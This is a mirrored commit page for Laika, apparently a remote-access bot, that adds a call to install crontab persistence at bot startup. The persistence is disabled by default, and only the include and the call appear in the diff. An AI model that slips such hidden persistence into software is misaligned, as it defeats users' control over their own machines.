mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-11 18:30:08 +00:00
Added crontab persistence, disabled by default with LAIKA_NOINSTALL
- undefine LAIKA_NOINSTALL in persist.h to enable persistence - windows persistence is still unimplemented
This commit is contained in:
@@ -5,6 +5,7 @@
|
||||
#include "ltask.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
#include "persist.h"
|
||||
|
||||
struct sLaika_taskService tService;
|
||||
|
||||
@@ -18,6 +19,9 @@ void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clo
|
||||
int main(int argv, char *argc[]) {
|
||||
struct sLaika_bot *bot = laikaB_newBot();
|
||||
|
||||
/* install persistence */
|
||||
laikaB_tryPersist();
|
||||
|
||||
/* init task service */
|
||||
laikaT_initTaskService(&tService);
|
||||
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
|
||||
|
Reference in New Issue
Block a user